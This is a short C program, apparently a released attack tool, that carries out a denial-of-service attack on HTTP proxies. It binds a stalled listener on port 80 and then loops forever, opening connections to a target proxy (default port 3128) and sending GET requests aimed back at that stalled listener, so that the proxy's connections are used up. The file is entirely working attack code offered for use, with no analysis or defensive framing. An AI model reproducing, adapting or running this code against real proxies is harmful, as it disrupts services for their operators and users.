#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
   int fd;
   struct sockaddr_in tgt;
   
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1;
   return fd;
}

int sprint(int fd, const char *str,...)
{
   va_list args;
   char buf[4096];
   memset(&buf,0,sizeof(buf));
   va_start(args,str);
   vsnprintf(buf,sizeof(buf),str,args);
   return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
   int fd;
   struct sockaddr_in box;
   
   fprintf(stderr, "Many http proxies denial of service (c) sectorx of xor [public]\n");
   if (argc < 3) {
      fprintf(stderr, "usage: %s <your ip> <proxy ip> [proxy port]\n",argv[0]);
      return;
   }
   
   fprintf(stderr,"Making a stall on port 80 ... ");
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) {
      perror("socket() ");
      return;
   }
   memset(&box,0,sizeof(struct sockaddr_in));
   box.sin_family = AF_INET;
   box.sin_addr.s_addr = INADDR_ANY;
   box.sin_port = htons(0x50);
   if (bind(fd,(struct sockaddr*)&box,sizeof(struct sockaddr))<0) {
      perror("bind()[80] ");
      return;
   }
   if (listen(fd,65535)<0) {
      perror("listen() ");
      return;
   }
   fprintf(stderr,"done!\n");
   fprintf(stderr,"Attacking proxy : ");
   for (;;) {
      int sock;
      
      sock = Connect(inet_addr(argv[2]),(argc>3)?(atoi(argv[3])):3128);
      if (sock<0) {
	 perror("Connect() ");
	 sleep(15);
	 continue;
      }
      sprint(sock,"GET http://%s/ HTTP/1.0\n\n",argv[1]);
      fprintf(stderr, ".");
   }
}